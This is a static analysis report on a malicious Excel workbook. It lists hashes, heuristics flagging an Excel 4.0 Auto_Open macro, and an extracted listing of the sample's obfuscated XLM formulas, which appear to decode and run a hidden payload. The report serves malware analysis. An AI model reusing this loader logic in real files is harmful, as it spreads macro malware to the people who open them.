Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3e27b92fca57a899…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:43:38 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 15c561857d6ed0b3931344fd45d92c2f SHA-1: a0e4897a8e99d589b702bf05f9c575d5dfdf72b3 SHA-256: 3e27b92fca57a899972b0cd559079ca7e0abb6087f4a2b75826e7434943aeb58
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6888 bytes
SHA-256: cec7083038b3277cc0e78e04abca6122440c5fa18e4fa3bbe9c15356cffe0404
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pCOkUURhU
' 0018     24 LABEL : Cell Value, String Constant - agHlRtYGZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I161 
' 0018     21 LABEL : Cell Value, String Constant - DJiGZf len=0 
' 0018     21 LABEL : Cell Value, String Constant - GXjARV len=0 
' 0018     20 LABEL : Cell Value, String Constant - gZipD len=0 
' 0018     27 LABEL : Cell Value, String Constant - kIFpsPzsmckN len=0 
' 0018     27 LABEL : Cell Value, String Constant - kzJgkAuWuFUZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - lXPVPvHrtF len=0 
' 0018     22 LABEL : Cell Value, String Constant - NHlzmiQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - NjErcRjPgp len=0 
' 0018     21 LABEL : Cell Value, String Constant - Ouxtyl len=0 
' 0018     23 LABEL : Cell Value, String Constant - qiIpvmvB len=0 
' 0018     27 LABEL : Cell Value, String Constant - QocsCHHNtbeh len=0 
' 0018     25 LABEL : Cell Value, String Constant - sBTrYPoIUx len=0 
' 0018     25 LABEL : Cell Value, String Constant - TaBkQCxzJO len=0 
' 0018     21 LABEL : Cell Value, String Constant - teQosS len=0 
' 0018     27 LABEL : Cell Value, String Constant - VwzDYIbhNgOq len=0 
' 0018     27 LABEL : Cell Value, String Constant - wqkcSprXnMaX len=0 
' 0018     25 LABEL : Cell Value, String Constant - YisLmKemhN len=0 
' 0018     24 LABEL : Cell Value, String Constant - YoICQkoRe len=0 
' 0018     21 LABEL : Cell Value, String Constant - zbmBxB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pCOkUURhU,R40,"",-10.00000000000000000000
'  pCOkUURhU,R41,"",390.00000000000000000000
'  pCOkUURhU,R42,"",95.00000000000000000000
'  pCOkUURhU,R43,"",925.00000000000000000000
'  pCOkUURhU,R44,"",564.00000000000000000000
'  pCOkUURhU,R45,"",-770.00000000000000000000
'  pCOkUURhU,I72,"SET.NAME("NjErcRjPgp",0+VALUE("0"))",""
'  pCOkUURhU,I74,"SET.NAME("YisLmKemhN",NjErcRjPgp)",""
'  pCOkUURhU,I78,"SET.NAME("wqkcSprXnMaX",NjErcRjPgp)",""
'  pCOkUURhU,I83,"SET.NAME("kIFpsPzsmckN",COUNTA(kzJgkAuWuFUZ))",""
'  pCOkUURhU,I86,"SET.NAME("GXjARV",COUNTA(QocsCHHNtbeh))",""
'  pCOkUURhU,I91,[],""
'  pCOkUURhU,I96,"SET.NAME("qiIpvmvB","")",""
'  pCOkUURhU,I98,"YisLmKemhN",""
'  pCOkUURhU,I100,"SET.NAME("zbmBxB",HLOOKUP("*",kzJgkAuWuFUZ,YisLmKemhN,FALSE))",""
'  pCOkUURhU,I104,"sBTrYPoIUx",""
'  pCOkUURhU,I108,"SET.NAME("TaBkQCxzJO",NjErcRjPgp)",""
'  pCOkUURhU,I110,[],""
'  pCOkUURhU,I112,"TaBkQCxzJO",""
'  pCOkUURhU,I115,"VwzDYIbhNgOq",""
'  pCOkUURhU,I119,"NHlzmiQ",""
'  pCOkUURhU,I121,"teQosS",""
'  pCOkUURhU,I126,"SET.NAME("gZipD",VALUE(HLOOKUP("*",QocsCHHNtbeh,teQosS,FALSE)))",""
'  pCOkUURhU,I130,"YoICQkoRe",""
'  pCOkUURhU,I133,"qiIpvmvB",""
'  pCOkUURhU,I137,"wqkcSprXnMaX",""
'  pCOkUURhU,I140,NEXT(),""
'  pCOkUURhU,I142,"Ouxtyl",""
'  pCOkUURhU,I147,[],""
'  pCOkUURhU,I152,"agHlRtYGZ",""
'  pCOkUURhU,I156,NEXT(),""
'  pCOkUURhU,I158,RETURN(),""
'  pCOkUURhU,I186,"SET.NAME("lXPVPvHrtF",I72)",""
'  pCOkUURhU,I190,"kzJgkAuWuFUZ",""
'  pCOkUURhU,I192,"SET.NAME("QocsCHHNtbeh",R85C11)",""
'  pCOkUURhU,I194,"SET.NAME("agHlRtYGZ",201)",""
'  pCOkUURhU,I198,"SET.NAME("DJiGZf",9)",""
'  pCOkUURhU,I200,lXPVPvHrtF(),""
'  pCOkUURhU,I201,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.